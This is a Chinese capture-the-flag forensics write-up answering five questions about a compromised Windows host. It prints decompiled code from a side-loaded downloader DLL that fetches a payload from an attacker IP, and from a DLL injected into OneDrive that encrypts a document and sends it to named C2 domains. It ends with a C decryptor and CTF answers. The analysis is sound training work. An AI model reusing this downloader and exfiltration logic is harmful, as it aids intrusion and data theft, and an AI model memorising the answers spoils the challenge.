2024CCB SC05
近日某公司网络管理员老张在对安全设备进行日常巡检过程中发现防火墙设备日志中产生了1条高危告警,告警IP为134.6.4.12(简称IP1),在监测到可疑网络活动后,老张立刻对磁盘和内存制做了镜像。为考校自己刚收的第一个徒弟李华,老张循序渐进,布置了5道问题。假如你是李华,请你根据提供的防火墙日志、磁盘镜像及内存镜像文件对主机开展网络安全检查分析,并根据5道问题提示,计算并提交相应flag。
问题1:IP1地址首次被请求时间是多久?
查找一下ip就行,注意要在tcp-export处才能找到ip被首次请求的事件
问题2:IP1地址对应的小马程序MD5是多少?
这一题打开附件的虚拟机,发现桌面上有一个火绒剑
点击发现无法打开,于是选择使用旁边的Process Hacker 2,然后就能发现火绒剑很奇怪的与IP1建立了连接
显而易见,这个火绒剑有问题
到目录下看一眼,发现uactmon.dll没有签名,有问题
大概率这个就是咱要的小马,丢到ida里验证一下
strings中找到一串url,追过去看看,发现一个可疑的函数Func_1
FARPROC Func_1()
{
size_t v0; // eax
size_t v1; // eax
size_t v2; // eax
size_t v3; // eax
int v4; // eax
FARPROC result; // eax
unsigned int v6; // [esp+2Ch] [ebp-10Ch]
int Size; // [esp+40h] [ebp-F8h]
unsigned int i; // [esp+44h] [ebp-F4h]
char *v9; // [esp+48h] [ebp-F0h]
char v10[24]; // [esp+4Ch] [ebp-ECh] BYREF
char v11[128]; // [esp+64h] [ebp-D4h] BYREF
char Buffer[16]; // [esp+E4h] [ebp-54h] BYREF
_BYTE v13[16]; // [esp+F4h] [ebp-44h] BYREF
_BYTE v14[16]; // [esp+104h] [ebp-34h] BYREF
_BYTE v15[16]; // [esp+114h] [ebp-24h] BYREF
_BYTE v16[16]; // [esp+124h] [ebp-14h] BYREF
dword_6E2974C4 = (int)CreateMutexA(0, 0, "Global\\UniqueMessageBoxMutex");
if ( dword_6E2974C4 && GetLastError() != 183 && curl_easy_init() )
{
sub_6E292D70(Buffer, "%d.%d.%d.%d", 134);
memset(v13, 0, sizeof(v13));
memset(v14, 0, sizeof(v14));
memset(v15, 0, sizeof(v15));
memset(v16, 0, sizeof(v16));
v0 = strlen("dXBk");
sub_6E291400("dXBk", v0, v13);
v1 = strlen("YXRl");
sub_6E291400("YXRl", v1, v14);
v2 = strlen("NTku");
sub_6E291400("NTku", v2, v15);
v3 = strlen("ZXhl");
sub_6E291400("ZXhl", v3, v16);
sub_6E292DA0(v11, "http://%s/%s%s%s%s", (char)Buffer);
sub_6E2926A0(-2046426100, 0);
if ( !sub_6E291590(v11, v10) )
{
Size = unknown_libname_4(v10);
v9 = (char *)unknown_libname_12(Size);
memset(v9, 0, Size);
v4 = sub_6E292560(v10);
v6 = sub_6E291400(v4, Size, v9);
for ( i = 0; i < v6; i += 8 )
++*(_QWORD *)&v9[i];
__scrt_stub_for_initialize_mta(v9, v6);
j_j_free(v9);
}
sub_6E292680(v10);
}
result = GetProcAddress(hModule, (LPCSTR)1);
if ( result )
return (int (*)(void))result();
return result;
}
下个断点动调
果然发现了存放在Buffer中的IP1
问题3:大马程序运行在哪个进程中?
把内存镜像丢进Lovelymem,然后进入vol3的安全分析—>恶意代码板块,耐心等待工具分析完,然后慢慢排查就行了
最后在OneDrive.exe发现可疑目标
注意这个MZ文件头,这说明攻击者向OneDrive注入了一个恶意的dll,也是判断OneDrive进程可疑的依据
问题4:大马程序备用回连的域名是多少?
将上一题找到的恶意dll给dump下来 然后丢进ida
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
size_t v3; // eax
size_t v4; // eax
size_t v5; // eax
size_t v6; // eax
int v7; // eax
int v8; // eax
char v10; // [esp-18h] [ebp-798h] BYREF
unsigned int v11; // [esp-8h] [ebp-788h]
char *v12; // [esp-4h] [ebp-784h]
int v13; // [esp+0h] [ebp-780h]
int v14; // [esp+4h] [ebp-77Ch]
_BYTE v15[24]; // [esp+Ch] [ebp-774h] BYREF
_BYTE v16[24]; // [esp+24h] [ebp-75Ch] BYREF
char *v17; // [esp+3Ch] [ebp-744h]
errno_t v18; // [esp+40h] [ebp-740h]
errno_t v19; // [esp+44h] [ebp-73Ch]
char *v20; // [esp+48h] [ebp-738h]
DWORD v21; // [esp+4Ch] [ebp-734h]
char *v22; // [esp+50h] [ebp-730h]
char *v23; // [esp+54h] [ebp-72Ch]
int v24; // [esp+58h] [ebp-728h]
int v25; // [esp+64h] [ebp-71Ch]
void *v26; // [esp+68h] [ebp-718h]
void *v27; // [esp+6Ch] [ebp-714h]
unsigned int v28; // [esp+70h] [ebp-710h]
void *Block; // [esp+74h] [ebp-70Ch]
int v30; // [esp+80h] [ebp-700h]
int v31; // [esp+84h] [ebp-6FCh]
_BYTE v32[32]; // [esp+88h] [ebp-6F8h] BYREF
char *v33; // [esp+A8h] [ebp-6D8h]
unsigned int j; // [esp+ACh] [ebp-6D4h]
unsigned int m; // [esp+B0h] [ebp-6D0h]
unsigned int k; // [esp+B4h] [ebp-6CCh]
unsigned int i; // [esp+B8h] [ebp-6C8h]
signed int v38; // [esp+BCh] [ebp-6C4h]
char *v39; // [esp+C0h] [ebp-6C0h]
char *v40; // [esp+C4h] [ebp-6BCh]
char *v41; // [esp+C8h] [ebp-6B8h]
unsigned int n; // [esp+CCh] [ebp-6B4h]
char *v43; // [esp+D0h] [ebp-6B0h] BYREF
char *Buffer; // [esp+D4h] [ebp-6ACh] BYREF
size_t v45; // [esp+D8h] [ebp-6A8h] BYREF
size_t BufferCount; // [esp+DCh] [ebp-6A4h] BYREF
_BYTE v47[184]; // [esp+E0h] [ebp-6A0h] BYREF
_BYTE v48[176]; // [esp+198h] [ebp-5E8h] BYREF
_BYTE v49[16]; // [esp+248h] [ebp-538h] BYREF
_BYTE v50[160]; // [esp+258h] [ebp-528h] BYREF
_BYTE v51[24]; // [esp+2F8h] [ebp-488h] BYREF
char v52[256]; // [esp+310h] [ebp-470h] BYREF
char v53[256]; // [esp+410h] [ebp-370h] BYREF
_BYTE v54[256]; // [esp+510h] [ebp-270h] BYREF
char v55[256]; // [esp+610h] [ebp-170h] BYREF
char v56[28]; // [esp+710h] [ebp-70h] BYREF
char v57[4]; // [esp+72Ch] [ebp-54h] BYREF
char v58[28]; // [esp+730h] [ebp-50h] BYREF
_BYTE v59[4]; // [esp+74Ch] [ebp-34h] BYREF
char v60[12]; // [esp+750h] [ebp-30h] BYREF
char v61[4]; // [esp+75Ch] [ebp-24h] BYREF
char Str[9]; // [esp+760h] [ebp-20h] BYREF
_BYTE v63[4]; // [esp+769h] [ebp-17h] BYREF
int v64; // [esp+77Ch] [ebp-4h]
v21 = fdwReason;
if ( fdwReason == 1 )
{
Buffer = 0;
BufferCount = 0;
v19 = dupenv_s(&Buffer, &BufferCount, "appdata");
v22 = (char *)unknown_libname_15(BufferCount + 16);
v40 = v22;
Str[0] = 48;
Str[1] = 7;
Str[2] = 18;
Str[3] = 2;
Str[4] = 48;
Str[5] = 19;
Str[6] = 95;
Str[7] = 1;
Str[8] = 8;
qmemcpy(v63, "X$^j", sizeof(v63));
for ( i = 0; i < 0xD; ++i )
Str[i] ^= 0x6Au;
memset(v52, 0, sizeof(v52));
v3 = strlen(Str);
base64_decode((int)Str, v3, (int)v52);
sprintf_s(v40, BufferCount + 16, "%s/%s", Buffer, v52);
v43 = 0;
v45 = 0;
v18 = dupenv_s(&v43, &v45, "temp");
v23 = (char *)unknown_libname_15(v45 + 16);
v39 = v23;
qmemcpy(v60, "9X ", 3);
v60[3] = 29;
v60[4] = 56;
v60[5] = 46;
v60[6] = 59;
v60[7] = 94;
v60[8] = 38;
v60[9] = 4;
v60[10] = 56;
v60[11] = 30;
qmemcpy(v61, "\t+WW", sizeof(v61));
for ( j = 0; j < 0x10; ++j )
v60[j] ^= 0x6Au;
memset(v53, 0, sizeof(v53));
v4 = strlen(v60);
base64_decode((int)v60, v4, (int)v53);
sprintf_s(v39, v45 + 16, "%s/%s", v43, v53);
v56[0] = 11;
v56[1] = 34;
v56[2] = 56;
v56[3] = 90;
v56[4] = 9;
v56[5] = 46;
v56[6] = 5;
v56[7] = 28;
v56[8] = 38;
v56[9] = 89;
v56[10] = 14;
v56[11] = 89;
v56[12] = 14;
v56[13] = 19;
v56[14] = 95;
v56[15] = 5;
v56[16] = 9;
v56[17] = 4;
v56[18] = 60;
v56[19] = 29;
v56[20] = 48;
v56[21] = 45;
v56[22] = 44;
v56[23] = 90;
v56[24] = 48;
v56[25] = 57;
v56[26] = 95;
v56[27] = 31;
qmemcpy(v57, "02;W", sizeof(v57));
for ( k = 0; k < 0x20; ++k )
v56[k] ^= 0x6Au;
v58[0] = 11;
v58[1] = 34;
v58[2] = 56;
v58[3] = 90;
v58[4] = 9;
v58[5] = 46;
v58[6] = 5;
v58[7] = 28;
v58[8] = 38;
v58[9] = 89;
v58[10] = 14;
v58[11] = 89;
v58[12] = 14;
v58[13] = 19;
v58[14] = 95;
v58[15] = 4;
v58[16] = 8;
v58[17] = 89;
v58[18] = 60;
v58[19] = 29;
v58[20] = 48;
v58[21] = 45;
v58[22] = 44;
v58[23] = 90;
v58[24] = 48;
v58[25] = 57;
v58[26] = 95;
v58[27] = 31;
qmemcpy(v59, "02;W", sizeof(v59));
for ( m = 0; m < 0x20; ++m )
v58[m] ^= 0x6Au;
memset(v54, 0, sizeof(v54));
memset(v55, 0, sizeof(v55));
v5 = strlen(v56);
base64_decode((int)v56, v5, (int)v54);
v6 = strlen(v58);
base64_decode((int)v58, v6, (int)v55);
while ( 1 )
{
sub_6DD94350(v13, v14);
v64 = 0;
v33 = v54;
v30 = sub_6DD91B00(v54, v51);
if ( v30 )
{
v33 = v55;
sub_6DD94190(v51);
v30 = sub_6DD91B00(v33, v51);
}
if ( !v30 && sub_6DD94110("Get file", 0) != -1 )
{
sub_6DD926B0(0xB8u);
sub_6DD94000(v40, 33, 64, 1);
LOBYTE(v64) = 1;
if ( (unsigned __int8)sub_6DD93F60(v47) )
{
sub_6DD926B0(0xB0u);
sub_6DD93190(v39, 34, 64, 1);
LOBYTE(v64) = 2;
if ( (unsigned __int8)sub_6DD93110(v48) )
{
sub_6DD926B0(0xB0u);
sub_6DD93030(1);
LOBYTE(v64) = 3;
v7 = sub_6DD93F80(v47);
std::ostream::operator<<(v50, v7);
v24 = std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v16);
v31 = unknown_libname_5(v24);
sub_6DD942B0(v16);
v20 = (char *)unknown_libname_15(2 * v31 + 2);
v41 = v20;
memset(v20, 0, 2 * v31 + 2);
v27 = (void *)std::basic_stringstream<char,std::char_traits<char>,std::allocator<char>>::str(v15);
v26 = v27;
LOBYTE(v64) = 4;
v12 = v41;
v11 = v31;
v8 = sub_6DD94170(v27);
v28 = base64_encode(v8, v11, (int)v12);
LOBYTE(v64) = 3;
sub_6DD942B0(v15);
/*XOR加密*/
qmemcpy(v32, ";=", 2);
v32[2] = -2;
v32[3] = 112;
v32[4] = 90;
v32[5] = -41;
v32[6] = -116;
v32[7] = 34;
v32[8] = -64;
v32[9] = 109;
v32[10] = -76;
v32[11] = -40;
v32[12] = 87;
v32[13] = 114;
v32[14] = -33;
v32[15] = -41;
v32[16] = 55;
v32[17] = 114;
v32[18] = -45;
v32[19] = 127;
v32[20] = -37;
v32[21] = 51;
v32[22] = -119;
v32[23] = 31;
v32[24] = -5;
v32[25] = -10;
v32[26] = 97;
v32[27] = 94;
v32[28] = 18;
v32[29] = 6;
v32[30] = -98;
v32[31] = 21;
for ( n = 0; n < v28; ++n )
{
v38 = 0;
if ( n % 3 )
{
if ( n % 5 )
{
if ( n % 7 )
v38 = n % 0x20;
else
v38 = 3 * n % 0x20;
}
else
{
v38 = (2 * n + 1) % 0x20;
}
}
else
{
v38 = 2 * n % 0x20;
}
v41[n] ^= (int)(unsigned __int8)v32[v38] >> (v38 % 6);
}
std::ostream::write(v48, v41, v28, 0);
v17 = &v10;
sub_6DD942D0(v41);
sub_6DD919F0(v33, v51, v10);
Block = v41;
j_j_free(v41);
if ( Block )
{
v41 = (char *)33059;
v25 = 33059;
}
else
{
v25 = 0;
}
LOBYTE(v64) = 2;
sub_6DD92700(v49);
}
LOBYTE(v64) = 1;
sub_6DD926D0(v48);
}
LOBYTE(v64) = 0;
sub_6DD92680(v47);
}
Sleep(0x493E0u);
v64 = -1;
sub_6DD942B0(v51);
}
}
return 1;
}
下断点动调看看
这里需要注意,这个dll是32位程序,需要使用SysWOW64下的rundll而不能使用system32下的那个
以次可以看到
原始文档,v40存放的原始文档路径
加密文档,v39存放加密文档路径
url1 http://www.hrupdate.net
url2 http://www.goupdate.net
那么接下来就是两个域名二选一
来看while循环中的代码片段
while ( 1 )
{
sub_727F4350(v13, v14);
v64 = 0;
v33 = v54;
v30 = sub_727F1B00((int)v54, (int)v51);
if ( v30 )
{
v33 = v55;
sub_727F4190(v51);
v30 = sub_727F1B00((int)v33, (int)v51);
}
可以看到,程序优先请求url1,如果失败才会继续请求url2,那么url2,也就是http://www.goupdate.net应该就是本题的答案,但是玄机交不上()
玄机交url1http://www.hrupdate.net
我不明白()
问题5:攻击者最终窃取数据的文件中包含的flag值?
先从虚拟机中提取出加密文件备用
这题关注一下函数最后面的对数据加密的部分
v12 = v41;
v11 = v31;
v8 = sub_6DD94170(v27);
v28 = base64_encode(v8, v11, (int)v12);
LOBYTE(v64) = 3;
sub_6DD942B0(v15);
/*XOR*/
qmemcpy(v32, ";=", 2);
v32[2] = -2;
v32[3] = 112;
v32[4] = 90;
v32[5] = -41;
v32[6] = -116;
v32[7] = 34;
v32[8] = -64;
v32[9] = 109;
v32[10] = -76;
v32[11] = -40;
v32[12] = 87;
v32[13] = 114;
v32[14] = -33;
v32[15] = -41;
v32[16] = 55;
v32[17] = 114;
v32[18] = -45;
v32[19] = 127;
v32[20] = -37;
v32[21] = 51;
v32[22] = -119;
v32[23] = 31;
v32[24] = -5;
v32[25] = -10;
v32[26] = 97;
v32[27] = 94;
v32[28] = 18;
v32[29] = 6;
v32[30] = -98;
v32[31] = 21;
for ( n = 0; n < v28; ++n )
{
v38 = 0;
if ( n % 3 )
{
if ( n % 5 )
{
if ( n % 7 )
v38 = n % 0x20;
else
v38 = 3 * n % 0x20;
}
else
{
v38 = (2 * n + 1) % 0x20;
}
}
else
{
v38 = 2 * n % 0x20;
}
v41[n] ^= (int)(unsigned __int8)v32[v38] >> (v38 % 6);
}
std::ostream::write(v48, v41, v28, 0);
v17 = &v10;
sub_6DD942D0(v41);
sub_6DD919F0(v33, v51, v10);
Block = v41;
从这段不难看出,最后得到的v41就是最后的密文,也就是KbpD48.tmp中的内容,再看这一段的最开头部分
v12 = v41;
v11 = v31;
v8 = sub_6DD94170(v27);
v28 = base64_encode(v8, v11, (int)v12);
先是v41将地址赋给v12,又对v12进行base64编码,也就相当于对v41进行base64编码,然后对v41进行一次异或,最终得到我们的密文
理清楚加密逻辑后就可以编写程序进行解密了(基本上都是从ida里py出来的,base64部分稍微改了改)
#define _CRT_SECURE_NO_WARNINGS
#define _BYTE unsigned char
#define _WORD unsigned short
#define _DWORD unsigned int
#define _QWORD unsigned long long
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
constexpr auto base64_encode_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
unsigned char base64_decode_table[256];
static char* ENC(long filesize, char* v38);
static int __cdecl base64_decode(char* enc, unsigned int lenth_enc, char* plain);
void init_base64_table();
int main() {
init_base64_table();
FILE *fp = fopen("D:\\KbpD48.tmp", "rb");
if (fp == NULL) {
printf("Failed to open the file.\n");
return 1;
}
fseek(fp, 0, SEEK_END);
long filesize = ftell(fp);
printf("File size: %ld bytes\n", filesize);
fseek(fp, 0, SEEK_SET);
char* buffer = (char*)malloc(filesize);
if (buffer == 0) {
printf("Failed to allocate memory.\n");
fclose(fp);
return 1;
}
fread(buffer, 1, filesize, fp);
fclose(fp);
char *base64_encode_text=ENC(filesize, buffer);
char* rec = (char*)malloc(filesize * 3);
int len = base64_decode(base64_encode_text, filesize, rec);
//printf("%d", len);
//printf("%s",rec);
FILE *fp1= fopen("D:\\flag.docx", "wb");
if (fp1 == NULL) {
printf("Failed to open the file for writing.\n");
free(buffer);
return 1;
}
fwrite(rec, 1, len, fp1);
return 0;
}
static char* ENC(long filesize, char* v38) {
char v29[32];
long v26 = filesize;
memcpy(v29, ";=", 2);
v29[2] = -2;
v29[3] = 112;
v29[4] = 90;
v29[5] = -41;
v29[6] = -116;
v29[7] = 34;
v29[8] = -64;
v29[9] = 109;
v29[10] = -76;
v29[11] = -40;
v29[12] = 87;
v29[13] = 114;
v29[14] = -33;
v29[15] = -41;
v29[16] = 55;
v29[17] = 114;
v29[18] = -45;
v29[19] = 127;
v29[20] = -37;
v29[21] = 51;
v29[22] = -119;
v29[23] = 31;
v29[24] = -5;
v29[25] = -10;
v29[26] = 97;
v29[27] = 94;
v29[28] = 18;
v29[29] = 6;
v29[30] = -98;
v29[31] = 21;
for (int n = 0; n < v26; ++n)
{
int v35 = 0;
if (n % 3)
{
if (n % 5)
{
if (n % 7)
v35 = n % 32;
else
v35 = 3 * n % 32;
}
else
{
v35 = (2 * n + 1) % 32;
}
}
else
{
v35 = 2 * n % 32;
}
v38[n] ^= v29[v35] >> (v35 % 6);
}
return v38;
}
void init_base64_table() {
memset(base64_decode_table, 0, sizeof(base64_decode_table));
for (int i = 0; i < 64; i++) {
base64_decode_table[(unsigned char)base64_encode_table[i]] = i;
}
// 关键:将 '=' 映射为 64 (0x40),配合解码函数中的 >= 0x40 判断
base64_decode_table['='] = 0x40;
}
static int __cdecl base64_decode(char *enc, unsigned int lenth_enc, char *plain)
{
unsigned int i; // [esp+0h] [ebp-10h]
unsigned int j; // [esp+4h] [ebp-Ch]
char b[4]; //b[0,1,2,3]->v6,v7,v8,v9
int v10; // [esp+Ch] [ebp-4h]
v10 = 0;
for (i = 0; i < lenth_enc; i += 4)
{
for (j = 0; j < 4; ++j)
b[0 + j] = base64_decode_table[*(unsigned __int8*)(enc + j + i)];
*(_BYTE*)(v10 + plain) = (b[1] >> 4) | (4 * b[0]);
++v10;
if (b[2] >= 0x40)
break;
if (b[3] >= 0x40u)
{
*(_BYTE*)(v10 + plain) = (b[2] >> 2) | (16 * b[1]);
return ++v10;
}
*(_BYTE*)(v10 + plain) = (b[2] >> 2) | (16 * b[1]);
*(_BYTE*)(++v10 + plain) = b[3] | (b[2] << 6);
++v10;
}
return v10;
}
运行后拿到flag